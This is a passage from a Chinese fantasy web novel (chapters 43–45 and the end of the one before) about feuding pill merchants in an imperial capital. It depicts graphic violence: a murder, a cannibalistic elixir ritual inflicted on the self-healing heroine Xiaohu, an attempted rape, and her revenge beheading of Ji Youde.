成丹居然和玄虎丹一模一样,品质上乘,姬有德验丹后,十分满意,指着几托盘的丹:
“赶在明天爷爷生日上市,讨他欢心。这些赶紧包起来,拿到前面试卖,今儿提前造造势。”
玄龙丹贴出告示,堂而皇之宣告和玄虎丹功效一样,但定价远低于玄虎丹,摆明要挤兑死玄虎堂,还挑衅十足地给姜凌嚣送了请帖。
姜凌嚣不光前来道喜,还带了厚礼。
姬有德笑眯眯地拱起双拳:“三哥仗义,快快有情!”
小炸药正在后院的炼丹房忙碌,今天结束,玄龙堂就完全掌握了炼丹秘方。
姬有德差人拿来玄龙丹,给姜凌嚣看,十分得意:“请三哥明鉴,龙虎之间可有差别?”
姜凌嚣捻起玄龙丹,仔细鉴别过后,郑重:“明面上看,没有。”
姬有德吃吃笑:“你的秘方还秘吗?”
姜凌嚣断定:“玄虎堂出了奸细。”
“行,家让人偷了,还这么淡定。三哥,我是发自真心的欣赏你。”姬有德拍拍姜凌嚣肩膀,想借刀杀小炸药,以减少懂秘方的人,“该清理门户了。”
姜凌嚣:“也许不必清理,风水会轮流转的。”
“现在转到我这边,我牢牢把住,想再转到你那边,不知道猴年马月,哈哈。”
姬有德得意,第一次大笑,不是憨笑。
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开业宴就设在玄龙堂堂厅,姬有德非把姜凌嚣让在上座,正冲着门口,好让他看清自己是怎么被挤兑垮的。
门前鞭炮屑厚厚一层,在冬日干裂的地面上如开了满地繁花,大有前程似锦的喜庆。
姬家皇亲国戚,来捧场的达官贵人如过江之鲫,带动了一大批玄虎堂的老客前来。
仅一下午,玄龙丹就一售而空。
觥筹交错中,姬有德笑成个烂地瓜样,姜凌嚣一言不发,别人敬酒他都恭恭敬敬躬身谢礼,然后一饮而尽,坐下继续安静。
傍晚,酒席拖拉未散,有客找上门,捶了柜台:“退钱!”
姜凌嚣立刻起身,将用过的碗筷摆放整齐,坐过的椅子推回桌下。
全桌的人都盯着举动如此规矩的他。
他拍拍姬有德肩头,温和微笑:“风水轮转,看来不用等到猴年马月,一顿饭的功夫而已。”
姬有德还没反应过来,姜凌嚣手指夹住衣襟,正了一下,衣冠楚楚、工工整整朝满座宾客鞠个躬,转身潇洒出门。
“掌柜的呢?退钱!一堆烂货臭货,还敢吹跟玄虎丹一样呢!”骂声越来越凶。
顾客买回去的玄龙丹,开盒除蜡后便化成一滩发臭污水。
接二连三,又有顾客进门要退钱,和姬家手下闹成一团。
前面闹大了,后院的打手全体出动去了前院,没人监督小炸药,他跳墙逃跑。
人面兽心的姬有德和衣冠禽兽姜凌嚣,这次绝对结仇,后面必将卷起血雨腥风。
小炸药不想再掺和了,他从来的抱负只有一个,就是和瞎老娘吃上饱饭。
近一年了,他攒了不少钱了,可以带着瞎老娘去乡下过几天安稳日子了。
娘俩趁乱逃跑,才是上策。
匆匆跑回客栈,小炸药趁无人,溜进瞎老娘屋里,叮嘱她收拾好东西,一会儿就带她离开京城。
瞎老娘眼眶空洞,双手胡乱摸索着:
“儿啊,跟着东家的这些日子,娘穿的是绫罗绸缎,吃的是大鱼大肉,还有丫鬟伺候,过了一生没有过的好日子,咱不该偷摸就走。无论发生什么,还是听东家安排吧。”
“听我的,这个是非地再待就只剩苦日子了!”
等小炸药雇了马车回来,发现死鱼眼从瞎老娘屋里跑出来,一步一个血脚印。
小炸药深感不妙,仓惶冲进房内。
床帘垂着,只看得到床沿搭着两条腿,正嘀嗒嘀嗒往地上流血。
小炸药双脚发软撩开床帘,瞎老娘倒在收拾好的大包袱上,脖子插着一把短刀。
死透了。
“娘——”满客栈震动着小炸药的哀嚎。
姜凌嚣随后进门,看了看满地血迹,眼中闪过一丝惊诧,旋即真诚安慰小炸药:“你放心,我会风光厚葬你娘,并为你找出凶手,让你亲自血刃。”
明明就是他手下杀的,他却在这猫哭耗子假慈悲,不过是因为发现了自己要逃走。
姜凌嚣这个幕后真凶,如此道貌岸然,小炸药恨不得撕碎他!
半个时辰后,小炸药来到玄龙堂后院。
“你他娘的还敢回来?”姬家打手凶神恶煞,一把薅住小炸药,扔到姬有德脚下。
中午还喜庆鼎沸的药房,傍晚一地狼藉,姬有德抱着小虎的小白狗,一脸郁闷:
“明天爷爷生日,我选在今天试营业,是为了让他知道,不靠他,我自己也能做出一番事业,可让姜凌嚣给我毁于一旦。”
“谁违背他,他就毁谁,今天该轮到姜凌嚣了。”小炸药冷哼。
“他太精了,没留下证据和把柄,沈丘染军功在身,只靠你这个证人,很难对他下手啊。”
小炸药阴笑:“你知道姓姜的最在乎什么吗?”
“钱?”
“不,他女人。”
“小虎?”姬有德笑了,摸狗的手也变得温柔,“确实,我也很喜欢她。打了我,还是让人念念不忘啊。”
小炸药挣脱开打手的束缚,站到姬有德面前,一字一句,将小虎炸碎又愈合的奇闻抖露干净。
姬有德难以置信听罢,面色渐渐恢复生机,再次露出熟悉的憨厚笑容:“真是风水轮流转不完。来人,给我生擒小虎!”
43. 疯狗
离开荒郊坟地,小虎饿的肚子咕咕叫,路过闹市口街,买了俩糖人。
前方锣鼓喧天,有人叫好,看热闹的围了里三层外三层,小虎好奇地挤进去。
地上摆了个大木箱子,里面站了个十来岁光景的红衣女孩,耍把式的把头提着锣,扯着嗓子喊:“姐妹兄弟们,父老乡亲们······”
“这是要大变活人。”姬有德突然从背后冒出来,碰了小虎一下,糖人竹签戳破她手背,渗出鲜血。
他惊叫着帮她擦血,盯紧了伤口。
小虎抽回手,“你来干嘛?”
“明天爷爷生日,我想送他件称心的礼品。”
人群发出惊异声:
“嚯!”
“人呢?”
杂耍把头提着木箱子展示给人群,红衣女孩已不见踪影。
小虎被姬有德打岔,没看到大变活人过程,急眼:“再演一遍!我没看见!”
把头围着人群要赏钱:“一天一演,想看,您明儿再来瞧好吧。”
小虎气地捶了姬有德肩膀一拳:“都怪你,害我没看见!”
“那边也有演的,我领你去。”姬有德拉她出了人群,低头一看,小虎手背上的伤已愈合如初,不留疤痕。
他顿住步子,注视着小虎,露出狡黠的笑容。
小虎不耐烦:“到底哪儿还有大变活人的?”
姬有德指向前方,巷子口摆着一个红木箱子,笑眯眯的:“进去看看里面有没有女孩。”
红木箱子和前面大变活人的箱子差不多,小虎急于揭谜,迫不及待跳进去。
“啪”的一声,箱盖合上。
“放我出去!”小虎使劲推盖子,盖子封得死死的。
箱子里散发着奇异的香味,越挣扎,越吸入,越让人昏昏欲睡。
她捶盖子的手无力地落下来,再也不动了。
上午宫中应付朱帝和竞天,下午整了姬有德,天黑了,姜凌嚣疲惫不堪刚回到客栈,就看到两精悍妇女站在书房门口。
他脸上的倦色被阴沉取代。
无令前来,必是银子藏匿地发生突变。
竟然是小虎主动带沈戚风去的藏银地,枕边人背刺,姜凌嚣一时想不出个缘由,胸口又痛又怒。
他厉声:“叫小姐来。”
丫鬟支支吾吾:“她出去了一天,还没回家。”
姜凌嚣眼神如刀:“不是让你们看紧了她,没人跟着吗?”
丫鬟快哭了:“早上她被子鼓鼓囊囊,我以为她赖床没起,后来见她总也不起,这才掀开被子,发现里面塞的是枕头,她早就出门了。”
就算小虎砸了他的锅,他也认为一定是她有不得已,罪魁祸首还是沈戚风。
姜凌嚣猛地扯松衣襟,抄起墙上的剑,杀出门。
沈府各房都歇了,一片宁静祥和。
“砰”,一个花盆破窗,落到了沈戚风卧房中的被子上。
沈二夫人刘倩尖叫:“谁在造次?”
“沈戚风,滚出来!”
刘倩匆匆系着衣扣出来,看到月色中挺拔高挑的周正身影,立刻认出是姜凌嚣,她扣子也不系了,衣衫不整地倚在门框上,懒洋洋的:
“哟,我当是谁呢,三爷大半夜的不睡觉,扰醒你嫂嫂,什么居心呐?”
“沈戚风呢?”
“你二哥那个烂货,成日的花天酒地,怎么,叔叔知道嫂嫂苦,要来帮忙解解闷?”刘倩晃晃悠悠走过来,要歪到姜凌嚣身上。
“咚”,死鱼眼和招风耳横跳在刘倩和姜凌嚣之间。
刘倩没想到还有别人,闹了个没脸,大叫着倒打一耙:“来人啊,老三带人来欺负嫂子了!”
耿正也从黑暗中现身,一挥手,黑暗中响起更多的脚步声,满院子搜查。
乒乒乓乓,沈府顿时鸡犬不宁,漆黑的一扇扇窗户又重新上了灯。
沈夫人架着沈万湖前来,大骂门房没守住家。
门房委屈:“他们没走门,不知道哪儿冒出来的。”
招风耳等人从不同方向跑来,“没见到小虎姑娘。”
沈万湖气的胡子翘起来,怒指姜凌嚣:“你可真行,闹这么一出,为个来路不明的野女人?”
话落,他脖子上一凉,沈夫人“啊”了一声,满院子围观的老老少少吓退几步。
一把剑,架到了沈万湖脖子上。
姜凌嚣持剑,冷若冰霜:“她要是被沈家人掳走了,来路正的沈府可要一起陪葬。”
月光映在他无情的眸子里,闪过淬死的寒光。
“你,你少说置气的狂话,坐到我这个位置,皇帝都会过问府上安宁!”
沈万湖嘴上硬气,却被逼得节节后退,绊了脚,趔趄进屋。
姜凌嚣表情声音如癫似狂:
“位极人臣,果真地位牢不可破的话,那你同僚陈庆升怎么忽然成了阶下囚?镇守一方的于太守,为何暴毙于朝堂?
因为主谋我想害谁,天子也保不住。”
沈万湖五官扭曲,惊悚地看着陌生的三儿子,“你,你······疯了!疯了!”
沈家寻人无果,姜凌嚣带人闯入灯火辉煌的万花楼。
花枝招展的胖老鸨起身迎接,脸笑开了花:“姑娘们,都下来,来了好多爷,打头的还是个白净斯文的,保管会疼人。”
伎女争先恐后围上来,柔荑还未摸到姜凌嚣胸膛,就被死鱼眼抬臂拦住。
“还吃醋了?又不会冷落了你。”伎女又去摸死鱼眼的下身,死鱼眼的白眼珠无情无绪,撑开五指推开伎女的脸。
老鸨子看出不不对劲了,掐腰:“怎么着,爷们儿几个不是来找乐子的?”
姜凌嚣:“沈戚风在哪个房间?”
老鸨子大叫:“斧子!”
一个胖壮的男人摇摇晃晃出来,提着两只大如斧头的拳头,站到姜凌嚣身前:“闹事儿得先过我两拳,你个小白脸能招架得住······”
话音未落,姜凌嚣拧了下脖子,飞速抄起凳子,“咣”,照脸砸晕了斧子,挑眉:“还有谁想被疼?”
几个打手拖着棍子赶来,抢着要“疼爱”姜凌嚣,棍起未及落,就被耿正飞起一把筷子刺穿了面颊,齐齐砸在了老鸨子身上。
满地哀嚎,姜凌嚣阴戾地踏过去,一间一间踹房门。
豪华包间里,沈戚风压在伎女身上,掏出家伙刚要办正事儿,就被姜凌嚣一脚踹开了门。
死鱼眼和招风耳上前,抬下沈戚风,“咣叽”扔到桌上。
沈戚风看清来人,吓的脸色大变:“老三?啊,不,三爷。”
姜凌嚣耷拉着个死人脸,嗓音阴重:“我女人呢?”
“啊?这我哪儿知道!”
死鱼眼抄起桌上的筷子,狠狠夹住沈戚风的“人中”,沈戚风鬼哭狼嚎:
“我真不知道!就早上她说领我去找银子,后来我们就在墓地分开了!”
姜凌嚣失去理智,咆哮:“你把她藏在了哪里?!”
筷子又加了把劲儿,沈戚风头上暴汗:“爷爷啊!就她那个机灵劲儿,我都怕她把我卖了,我能把她怎么样!你就是夹出我蛋黄子,我还是不知道哇!”
那就是姬家,一定是因为炼坏的丹,姬家报复!
姜凌嚣连忙转身,夺门而出。
国师的府门,重兵把守,除了皇帝和太后,谁也进不了。
姜凌嚣索性在门口大闹,直把姬有德吵了出来。
姬有德真诚:“三哥,你我都是男人,男人跟男人硬碰硬,谁输了谁活该,我栽你手里,输得心甘情愿,因为下次指不定谁赢。我对天发誓,绝不会用绑架女人的下作手段来威胁你。”
姜凌嚣举着灯笼,照亮姬有德的嘴脸,饼脸小眼睛里扒拉不出太多的情绪。
陈锋令嘴里的金牙,与他有关,他都能伪装,姜凌嚣早怀恨
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在心,怎会信他。
姬有德继续淳朴:“三哥,不瞒你说,你的女人,我也喜欢,我不可能······”
“啪”,姜凌嚣重重抽了姬有德一巴掌,他今晚控制不住的暴躁,不管不顾姬家杀个无权草民跟杀鸡似的。
“轰隆轰隆”,一队官兵举着火把围过来,拔刀相向。
尖头狼靴逼近姜凌嚣靴子,恨不得踩到脚面上,姜凌嚣绝不退让。
狼靴真就踩到了姜凌嚣脚面上,铁尖头狠狠戳着他脚踝。
姬无心目空一切,脚下重重一碾,转身问姬有德:“犯了什么事,让人找到了家门口?”
姜凌嚣咬牙忍疼,太阳穴上的青筋爆起。
“一点误会,爷爷。”姬有德为姜凌嚣开脱。
姬无心摘下皮手套,抵住姬有德的下巴,抬起来,有个紫红紫红的巴掌印,“这叫误会?”
“三哥,你快走吧!”姬有德恳切。
“听说你的丹叫人做了手脚?”姬无心脚下又是一碾,不依不饶。
“爷爷,给您讲点高兴的,今年生日我给您备了个意想不到的好礼。”
姬有德架住姬无心胳膊,硬生生给他从姜凌嚣脚面上架了下来,扶到府中。
姜凌嚣感觉靴子里有点湿,应该是破皮流血了。
他完全顾不上自己伤痛,还要想办法闯进姬家搜查。
来姬家路上突然消失的耿正,忽然又冒了出来,拦住逐渐失控的姜凌嚣:“我刚才回客栈看了,你们卧房多了个鸟笼,和小虎已有的一模一样。”
是怀恨在心的竞天?!
姜凌嚣马不停蹄又赶去阮府,将老太医闹醒,非要他带着自己进宫找竞天,质问小虎的下落。
阮太医赶紧泡茶,姜凌嚣敷衍喝了两口,渐渐不那么躁动了,阮太医才好言相劝:
“公主看上你,是她单方面的思春,最后朝廷让她嫁谁,她一点办法都没有,更没权力调动人马搞绑·架。”
“可是满世界找了,就是不见她。”姜凌嚣攥着的拳失血,发白,颤抖着。
“小伙子,你看你又急,再喝点。”阮太医将茶杯怼到姜凌嚣嘴边,强迫他喝下几口。
姜凌嚣又安静了几分。
阮太医往烟锅里揣烟丝,慢条斯理分析:“她能把鸟笼子从宫里拿回家,说明在某种安排下,俩女人见了面,都对你生了气。”
“那你还说不是竞天?”
“竞天公主清高冷傲,真要冲你来,要的就是文火慢炖,讲究一个细细折磨,不会搞一锤定音的野蛮游戏。估计就是你那个暴脾气的红颜吃醋生气,离家出走了。”
姜凌嚣声音哀哀的:“她生气归生气,这么晚了还不回家,万一出事。”
阮太医“咕嘟咕嘟”吸着烟,吃吃笑:“还是头一次见你这样失魂落魄,平时老成得时常让人忽略你的年纪,现在倒十分像个正常小伙。哎呀,当年你外婆嫁给了你外公,我就这样······”
“咳咳,”阮太医清清嗓子,马上换了话题:
“放心好了,小虎姑娘我见过一次,机灵出众。那次在玄虎堂门口,来了个小大姐,说是没钱吃饭让你的小虎帮着买,孙大可看出小大姐是个人贩子,一路跟着。半天后孙大可回来,说小虎反手把对方卖了,卖的钱买了糖人和瓜子,拿回来分给了伙计们,倒也不吃独食。”
外人口中的她,也这么招人喜欢,姜凌嚣被逗笑了,心里宽慰了些。
“她要回家见你不在,说不定会更生气,你且回家等着吧。”阮太医迫不及待送客。
姜凌嚣一走,阮太医喊来夫人,沉声吩咐:“你赶紧把家里的钱全换成金子,打成鞋垫,日后万一突变,我们好带走。”
“不就是小两口闹点别扭,女的跑了,能出什么事?”
阮太医严肃:“那姑娘是条链子,他是条疯狗,现在他是没链子栓的疯狗,指不定要闯个什么弥天大祸。”
44. 回春餐
往回赶的一路,姜凌嚣眼前开始模糊。
回到客栈,他更是脚步漂浮,常年稳健板直的身形松懈地晃了几下。
耿正担忧:“你先歇着,我再带人出去找找。”
姜凌嚣不躺在床上,固执地坐在椅子里等小虎,发现浑身绵软撑不住时,才恍然明白是阮太医给他下了安神散,因他急躁,竟未察觉,还喝了好几口。
眼皮滞重,仅是上眼皮碰到了下眼皮,疲倦拖着灵魂沉到无尽的黑暗,沉下去……
等他再醒来,已是翌日傍晚。
他头脑昏沉不堪,挣扎着起身,坐了一夜冷板凳,浑身都僵了,差点栽倒在地,不由恨恨:老太医,下药够重的。
下楼,耿正不在,死鱼眼等人脸色不明朗,眼中布满红血丝,姜凌嚣就知道小虎还没有消息。
因他不常用药,一次服用安神散过多,药效难退,体力尚未恢复,他受不了陷入孱弱,命人:“拿针来。”
白眉老太拿来灸针,姜凌嚣自己猛扎进穴位,强迫自己清醒,好带人继续寻找小虎下落。
玄龙堂的院子里,小炸药被揍得趴在地上吐血,“我已经暴露给了你们姜凌嚣的弱点,为什么还对我下手?”
姬有德踩住小炸药的头,冷漠无情:“毁了我们丹料,让玄龙丹上市即砸锅,必须让你见识下姬家家法。”
打手们开了狗笼,迁出恶狗。
暗夜里不见恶狗身影,只见近百个荧光点围着小炸药,上下跳跃,拖的铁链“哗啦哗啦”响,发出饥饿难耐的狂躁声。
小炸药嚎叫:“都是姜凌嚣的阴谋,你该找他报仇!”
“他的账,我会找他另算,先算你的。”姬有德不为所动,抬起手,准备下令犬决。
小炸药卖主求生:“我还有姜凌嚣的秘密没爆!在康凌郡的时候,他的女人被人下了雄黄,差点死掉,他屠了下药人全家!”
姬有德鄙夷:“都是死到临头,你娘就没你话多。”
姬有德怎么知道老娘临死前什么样?
除非他才是杀掉老娘的凶手!
对了,老娘被杀的手法,和姬有德杀牛的手法一样,都是捅在了脖子上!
原来冤枉了姜凌嚣!小炸药如遭晴天霹雳,声嘶力竭:“你个王八蛋!我杀你全家!”
姬有德不以为意,露出笑容。
一个手下过来,在姬有德跟前嘀咕:“丫鬟们给小虎洗完澡换好衣服了。”
提到小虎,姬有德掣住狗链,改了犬决的主意:“把这叛徒拴起来,改日我让小虎亲自处置出卖她的叛徒。先去给爷爷送寿礼。”
姬府,灯火通明,红灯笼一个连一个,红光四射。
每条路上都铺了红毯,连鸡舍前的小路,没办法铺红毯,都撒上了藏红花。
来贺寿的人,络绎不绝,脸上泛着红光,身后抬着红箱子礼品。人在其中,如置红海。
太后、朱帝不能屈尊纡贵前来,派来竞天公主亲自送来贺礼,以表龙恩。
姬府荣耀备至,跪了一地,山呼万岁。
外面喧闹鼎沸,偏居一隅的餐厅里,幽幽泛着红光,安静得恐怖。
清理过的地面上,用雄黄粉画出诡异的圆形图案,圈着小虎。
她已被香汤浴过,换上了烈焰般的红衣,坐在圆圈中,止不住地颤栗,苍白的脸上直冒冷汗。
姬有德跨过雄黄粉圈,蹲下,注视着小虎的脸,轻声:“不要吵闹,不要惹爷爷生气,否则我也没办法帮你。你乖乖的,好吗?”
“呸······”小虎气若游丝,啐姬有德的口水,无力地吐在了自己嘴角。
姬有德伸手,仔细帮她擦净口水,毫不嫌弃。
“咚、咚、咚”,一阵铿锵有力的脚步声,从院子门口渐渐靠近餐厅门口。
“吱呀”,门开,姬无心精神矍铄进门,径自走到小虎正对面的长条餐桌前坐下。
姬有德搂住小虎肩头,自豪介绍:“爷爷,这就是我献给您的寿餐,她的皮肉破损可自愈,应该有助延年益寿。”
?
要吃人?
小虎惊悚,颤声:“畜生,我一定会杀了你们……”
姬无心的狼眼发出幽幽的暗光,在小虎身上打了个圈。
红色裙纱将她本就透亮的皮肤衬得像是发着白光,很是与众不同的莹润。
姬无心眼神考察后,满意地抬起食指一摆。
两个丫鬟得令,一个手持琥珀杯,一个操着尖刀,踏过雄黄粉圆环,朝小虎而来。
持刀的丫鬟撸起小虎的袖子,露出她娇嫩的胳膊。
姬有德伸手,捂住小虎的眼,语气亲昵:“很快就过去了,乖乖乖。”
“啊——”小虎蒙蔽在黑暗中,凄厉惨叫。
一个丫鬟用刀切开小虎皮肉,流出鲜血。
另一个丫鬟将琥珀杯抵在伤口。
从姬有德的手指缝望去,小虎看到丫鬟端着她的血,递给姬无心。
姬无心举起盛着鲜血的杯子,仰头干杯,一脸陶醉。
等了片刻,姬有德问姬无心:“爷爷,感觉如何?”
“甘甜,血腥味浓郁,年轻就是新鲜可口。”
姬无心招招手,丫鬟举着铜镜过来,他照照面庞。
白发皱纹依旧在。
姬无心不甘,又拿小刀刺破自己手指,伤口渗出略黑的老血,久久无法愈合。
这妖女的血,并没给他带来返老还童的奇迹。
他不耐地起身,持刀走向小虎,“得换个花样吃。”
枕无忧客栈房中,姜凌嚣不停走柳。
炉上水壶开了很久,壶嘴不停涌出热水,落在炉子上,再次遭受焦灼,化为滚烫的水汽。
一滴一滴,反复烧开,反复焦灼,如同踱来踱去等待的心情。
他忽然顿住,打开楼上楼下方门,迎接小虎,以防她回家时他听不见。
门一开,冷风迅速带走屋内热气,他又觉得小虎回家后会冷,出尔反尔地命人再关紧门窗。
还是不放心。
索性,他下楼,站到客栈堂厅里等待。
月光明亮,姬家炼丹房的院墙上,突然抛起许多鸡嘴状的东西,落进院中。
恶狗警觉狂吠,吓的屋内的小炸药以为姬有德又回来了,要犬决他,他钻进炉灶躲起来。
炉中火星未灭,烫的小炸药呲牙咧嘴,但他不敢发出任何声音。
门外吠声戛然而止,尔后门开,一阵脚步声直冲灶口而来。
“咣咣咣”,来人敲了几下炉膛上的大铁锅。
这都能被发现,小炸药绝望地闭上眼。
“我都闻见你皮肉烧熟的味道了。”
是耿正的声音。
小炸药赶忙钻出灶口,看向门外,只见恶狗在笼中疯狂跳跃,却
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不狂吠,十分诡异,“你对那些狗做了什么?”
耿正扔出个鸡嘴夹,上面夹着牛肉粒,狗贪嘴一咬肉,夹子弹开,撑住狗嘴,越叫越往喉咙里钻,发不出任何声音。
怪不得前段时间,老看到耿正在客栈没事就推着个刨子刨木头,还以为他不过是老年人打发时间,原来是在做这个!
真是个未雨绸缪的老头。
小炸药连连道谢救命之恩,耿正不领情:“是东家命令我救你。有没有看到小虎?”
小炸药血迹斑斑的脸唰地一下煞白,支支吾吾。
耿正明察秋毫,揪住他衣领:“你最好一五一十交代,否则死得比犬决惨。”
姬家别院的餐厅,外面传来戏班子紧锣密鼓的欢快声,宾客们在庆祝姬无心长命百岁。
屋内,姬无心已蹲在小虎身边,拽住她胳膊,“哧啦、哧啦”用刀割下一块肉,扔进盘子里。
小虎叫得惨绝人寰。
姬有德赶忙撕下自己锦缎衣摆,缠在小虎的伤口。
他搂紧她,额头贴着额头,像哄孩子似的轻轻拍着她的背,哼着温柔的摇篮曲。
药粉熏得小虎中毒,她早已无力开口,在姬有德怀里不停打着冷颤。
姬无心坐回餐凳,用小刀一点一点割碎小虎的鲜肉,往嘴里送。
小虎看到盘子里的自己的肉,肉筋还在突突跳,却无能为力反击。
姬无心细细嚼了几口,认真点评:“脆甜,鲜嫩多汁。我真忌剫你们的年轻。我喜欢生食血肉,恨不得将所食活物的命数全续到自己身上。”
做动物,做妖,各有各的烦恼,唯有做人,让小虎第一次感到灵魂破碎的恐惧,陷入无边无际的黑暗。
姬无心享用完小虎的血肉,问:“现在有回春的迹象吗?”
姬有德仔细瞅瞅,很为难的样子:“······好像没有。”
“啪——”姬无心打个响指。
隔壁的帘子撩起,府内豢养的野道士现身进言:“姬老天尊,我刚才在里面都听见了。这灵妖的血肉不奏效的话,取她的活胎而食,定能长生不老。”
姬无心来了兴趣:“谁说的?消息可靠吗?”
野道士瞪着鼠眼,眉飞色舞:“贫道师兄在糊涂山上修仙,年前我还去看过他,今年再去,人羽化成仙,连道观都带走了!他曾告诉我,吃灵胎就不用那般辛苦修炼。”
糊涂山?小炸药老家,破草房子所在的山上。
道观也没了?不是被小炸药一炉子全炸飞了吗!
荒谬绝伦,可笑之至。
小虎虚弱地扯了扯嘴角,想嘲笑姬无心,无奈实在无力作出任何表情。
“既然你师兄修仙成功,那他的话自然可靠。”姬无心颔首,对野道士使个眼色。
野道士走向小虎,替她把脉,然后对着姬无心摇摇头:“没身孕。”
姬无心舔净刀上血迹:“那就先留着她。”
姬有德支支吾吾:“爷爷,我能先带走她一晚吗?”
姬无心洞穿孙子心思,无声一笑,露出鲜血渍透的牙齿,一颗一颗像一个又一个白色墓碑,里面不知葬过多少血淋淋的冤魂。
这个活地狱恩准孙子:“留给你了,正好让她怀上,日后取胎而食。”
姬有德抱起小虎,刚走出门口,她头上的发簪脱落,掉在地上,被他一脚踢开,匆忙进到隔壁厢房。
45. 顶罪
餐厅门外走廊,巨大的铁树后面,竞天蜷缩蹲着,使劲咬着自己的手背,不敢发出一丝声音。
她的外祖和表弟,竟是鬼一样的活畜生!
踹开房门,姬有德将小虎放在床上,没点灯,就迫不及待要吻她,被她“呸”了一脸血痰。
姬有德不生气,起身:“我去洗洗,很快就回来。”
门关上,小虎奋力挣扎要逃,却因轻微中毒乏力,重新摔回床。
很快,门又缓缓开了,闪进一条影子。
“别靠近我,否则我杀了你······”小虎已成刀俎鱼肉,但气焰不减。
来人脚步极轻,影子轻飘,不大像姬有德,走到床边便顿住了,没再进一步侵犯,仿佛在观察床上被困的小虎。
难道姬有德改了主意,不歼要杀吗?
小虎紧张到弓起双手,准备拼尽全力抓烂对方喉咙,死也要拉个垫背的。
影子猛地俯身,去摸小虎的手。
“畜生,你要做……”小虎忽然觉得不对劲——这是只女人的手!柔软,温暖。
小虎手里被塞了个长条状的东西,她摸了摸,一头是尖的,宛如利器。
她困惑,盯着黑影:“你是谁?”
“砰、砰、砰”外面炸开烟花,宾客欢呼声传来,惊的影子抬头。
窗缝中烟花的亮光,照清了影子的脸,两人对视,影子立刻转身,仓惶逃出门外。
小虎抬起利器,烟花将其照亮,是条发簪。
就是她刚才掉落的,被姬有德踢在餐厅走廊的那条发簪,姜凌嚣送给她的那支。
门再开,一阵香味袭来,姬有德洗完脸回来,身上特意撒过香粉,他点亮一对红蜡烛,坐到床沿,羞答答的:“这样有没有洞房花烛的意思?”
小虎哼笑了一下,暗骂:有你大爷。
姬有德见她笑了,以为她想通了,俯身,轻轻吻下来。
小虎还真的像是想开了,不再挣扎,任由姬有德吻她的脖子。
沾到小虎柔滑的肌肤,姬有德兽性大发,急切解开衣裳。
小虎跟他调·情,一手轻轻掐住他脖子,另一手高高抬起。
“噗嗤”一声,发簪插进姬有德喉头。
姬有德捂紧脖子起床,身子不停向后撤退。
院子门口站满了哨兵,他想喊人,但一张嘴,鲜血立刻呛满了喉咙,如同溺水,无法喊叫,只发出“咕噜咕噜”声。
他听见自己在被自己鲜血呛杀,却无能为力。
小虎握紧簪子,硬撑着下地,步步逼近姬有德,吹灭桌上蜡烛。
从窗外看起来,红烛熄灭,是共赴春宵去了。
替姬有德把风的哨兵相视而笑,关上院门,跑到宴席里吃喝去了。
“咚——”的一声闷响,姬有德摔在地上挣扎。
愤怒,仇恨,复仇的痛快,让小虎渐渐滋生出力气。
黑暗中,她一手薅住姬有德头发,一手举簪子,吃力地一点一点割断姬有德颈间皮肉,取下他项上人头。
“砰”,外面又放了新一轮的烟花,照亮了屋内。
小虎提起姬有德的人头,他的眼睛还在转,她对着他咬牙切齿冷笑,一字一句:“我早就说过,你的人头记在我的血债薄上。”
姬有德的眼珠不转了。
主院里依旧人声鼎沸,灯火辉煌。
幽静的别院外墙,抛出个人头,紧接着,一只血手抠住墙角,努力要翻过来。
但是,血手无力,颤抖着挣扎了一会儿,还是撒手,掉回墙内。
完了,完了,小虎坠落时心想,摔地的声音指定引来姬家手下,抗争了这么久,到头还是死。
她闭上眼,喃喃:“真不甘心做一次人,会是这样憋屈的死法!”
“你不会死。凌嚣还在等你。”
小虎在摔地前,被耿正稳稳接住。
“开门!开门!”沈府大门被狂暴砸响。
门仅开了一条缝,便被持刀的兵踹开,“哗啦、哗啦”涌入。
沈家人受了惊吓,传出男人质疑声,女人尖叫声,孩子啼哭声。
刘倩站到院中骂骂咧咧,要回娘家搬救兵:“我要我爹去找皇上做主!有没有王法了,私闯民宅!”
她爹是太子太傅,太子登基做了皇帝,刘家跟着一飞冲天,她现在腰杆子硬得很。
兵头子拦住刘倩去路:“我们是奉了国师的命令,来保护沈家同僚的。”
沈万湖怒斥:“出了什么事,要你们保护?”
兵头子冷哼:“和贵三公子有关的人沾了命案,国师正前去捉拿,谨防有人里应外合,乱了王法。”
沈万湖倒吸一口冷气,噤声。
刘倩却毫不胆怯:“什么命案?什么老三?沈家老三早下葬了!”
“别狡辩!姬国师的孙子、皇帝的表哥姬有德被姜凌嚣,也就是你沈家三少爷的女人割了脑袋!哼,你们现在不回去睡觉,以后还能有几个安稳觉睡?”
卷入杀人案,何况姬有德还是有公职在身的官员,这牵扯大了。
刘倩也老实了。
兵们驱散着围观的沈家人回屋,“沈将军呢?尤其看紧了。”
沈丘染拉紫玉躲到柴房:“三哥出事了!出兵禁足是冲我来的,防止我调兵营救。难道三哥已知道了姬有德是暗杀姜家的凶手,所以杀了他?”
就怕姜凌嚣知道了线索冲动,还特意隐瞒着,等挖出铁证再告诉他,还是迟了。
明杀,不像是姜凌嚣的作案手法,紫玉听着外面的嘈乱,自告奋勇:“我去客栈看看到底什么情况。”
沈丘染拉牢紫玉的胳膊:“家里都被占了,外面肯定有兵站哨,你出去就被逮!我决不让你冒这个险。”
紫玉坚决,甩开沈丘染胳膊,顺着墙根,摸到后院鸡窝后面的狗洞,“嗖”一下就钻了出去。
沈丘染追过来,俯身也要钻,却被洞口卡住。
狗洞口伸过紫玉的一只手,推开沈丘染,捉走了一只鸡。
沈丘染惊了:“这时候带鸡做什么?!”
院墙外,兵往后门这边跑来。
紫玉赶紧离开墙下狗洞,抱着鸡快走。
兵大声喝止:“你站住,干什么的?”
紫玉举起鸡:“我表哥在沈府当差,我娘叫我来送鸡给表哥。”
兵挥刀驱赶:“沈家现在不能进,赶紧走!”
紫玉成功出逃。
今夜小年,客栈打烊早,但堂厅没上门板,掌柜懒散地拄肘在柜台,跟姜凌嚣闲聊,好心地陪他一起等
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小虎回来。
只听“咣”的一声,一个黑乎乎的圆球扔在了柜台上,骨碌骨碌滚到掌柜的手边。
“杀千刀的,拿我当盘菜送给他爷爷!老不死的割我肉吃!”
小虎随后骂骂咧咧进门,袖子滴血,红衣被血染得发黑。
掌柜的转过手边圆球,脸色唰一下就白了,上下牙“哒哒哒”打颤,连声恐惧的叫喊都发不出来。
是个人头。
姜凌嚣目光如炬,看清死人头是姬有德,也暗自吃惊,但举止镇定,从衣襟掏出张银票,点在柜台上,“掌柜的受惊了,先避一避。”
掌柜的拿起银票,赶紧溜了。
连一向颇有主意,永远沉稳的耿正,也搓起了老脸。
